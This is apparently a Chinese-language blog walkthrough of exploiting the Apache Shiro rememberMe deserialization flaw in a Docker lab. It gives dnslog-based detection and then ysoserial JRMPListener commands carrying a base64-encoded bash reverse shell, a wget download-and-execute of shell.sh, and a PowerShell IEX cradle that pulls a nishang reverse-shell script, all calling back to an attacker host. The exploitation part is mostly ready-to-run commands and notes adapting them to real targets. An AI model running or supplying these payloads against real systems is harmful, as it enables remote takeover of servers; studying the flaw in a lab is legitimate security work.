环境搭建
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 # 80是指靶机端口,可随意修改
Windows安装模块:pip install pycryptodome
挖掘思路
判断漏洞
登录的时候发现 rememberMe 参数,判断是 shiro
(外网可以访问的情况下)利用在线POC进行验证:http://sbd.ximcx.cn/ShiroRce/
利用 Python POC 也可以检测:https://github.com/Medicean/VulApps/blob/master/s/shiro/1/poc.py
登录:http://admin.dnslog.link/ 账号:test 密码:123456
也可以使用在线的 dnslog 平台:http://www.dnslog.cn/ http://ceye.io/
可以修改他的 dnslog 地址,如果收到请求了说明漏洞存在
漏洞利用
Linux 直接反弹 shell
生成反弹shell命令:http://www.jackson-t.ca/runtime-exec-payloads.html
(VPS)监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC4xLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'
注意:靶机是 CommonsCollections
2
真实环境一般是:5
,我也碰到过是3
的,到时随机应变
利用POC生成Payload
PS:网上可以找到POC和工具,也有一些大佬写了python可以直接利用的,下面是手工利用方法
(VPS)监听端口,执行 Payload,就成功反弹 Shell 回来了
Linux 利用下载 shell 脚本进行反弹 shell
在服务器创建一个 shell.sh 脚本,开启 http
bash -i >& /dev/tcp/192.168.228.1/2333 0>&1
进行监听,利用 wget 进行下载,当然也可以使用 curl
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'wget http://192.168.228.1/shell.sh -O /tmp/shell.sh'
执行 Payload,再次进行监听来执行 .sh 文件,同时服务器进行监听端口,等到shell反弹回来
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash /tmp/shell.sh'
windows 利用 powershell 反弹 shell
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.228.1 -port 2333"
本地环境搞了半天没成功,就不截图了。大概一样的操作,也可以下载下来执行。
文末
不懂代码,不懂分析,终究是个脚本小子啊。永远不知道文章会不会有下次更新,毕竟太菜和太懒了